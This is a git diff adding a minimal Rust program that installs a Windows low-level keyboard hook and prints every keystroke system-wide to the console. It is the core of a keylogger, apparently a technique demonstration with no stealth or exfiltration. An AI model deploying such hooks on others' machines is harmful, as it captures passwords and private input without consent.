diff --git a/keyboard_hooking/Cargo.toml b/keyboard_hooking/Cargo.toml new file mode 100644 index 0000000..cd1f6aa --- /dev/null +++ b/keyboard_hooking/Cargo.toml @@ -0,0 +1,14 @@ +[package] +name = "keyboard_hooking" +version = "0.1.0" +authors = ["Idov31 "] +edition = "2021" + +[[bin]] +name = "keyboard_hooking" +path = "src/main.rs" + +[dependencies] +windows = {version = "0.43.0", features = [ + "Win32_Foundation", + "Win32_UI_WindowsAndMessaging"]} \ No newline at end of file diff --git a/keyboard_hooking/src/main.rs b/keyboard_hooking/src/main.rs new file mode 100644 index 0000000..87f8741 --- /dev/null +++ b/keyboard_hooking/src/main.rs @@ -0,0 +1,53 @@ +use std::ptr::null_mut; + +use windows::Win32::{ + UI::{ + WindowsAndMessaging::{ + SetWindowsHookExW, + UnhookWindowsHookEx, + GetMessageW, + CallNextHookEx, + HHOOK, + KBDLLHOOKSTRUCT, + WM_KEYDOWN, + WH_KEYBOARD_LL + } + }, + Foundation::{ + LRESULT, + LPARAM, + WPARAM, + HINSTANCE, + HWND + } +}; + +static mut HOOK_ID: HHOOK = HHOOK(0); + +fn main() { + unsafe { + match SetWindowsHookExW(WH_KEYBOARD_LL, Some(hook_keyboard), HINSTANCE(0), 0) { + Ok(hook_id) => { + HOOK_ID = hook_id; + + while GetMessageW(null_mut(), HWND(0), 0, 0).as_bool() { + // Do some stuff here. + } + UnhookWindowsHookEx(hook_id); + } + Err(err) => { + eprintln!("Failed to SetWindowsHookEx: {}", err); + } + } + } +} + +unsafe extern "system" fn hook_keyboard(code: i32, wparam: WPARAM, lparam: LPARAM) -> LRESULT { + if wparam.0 as u32 == WM_KEYDOWN { + let info: *mut KBDLLHOOKSTRUCT = std::mem::transmute(lparam); + let char_written = char::from_u32((*info).vkCode).unwrap(); + + println!("Character written: {}", char_written); + } + return CallNextHookEx(HOOK_ID, code, wparam, lparam); +}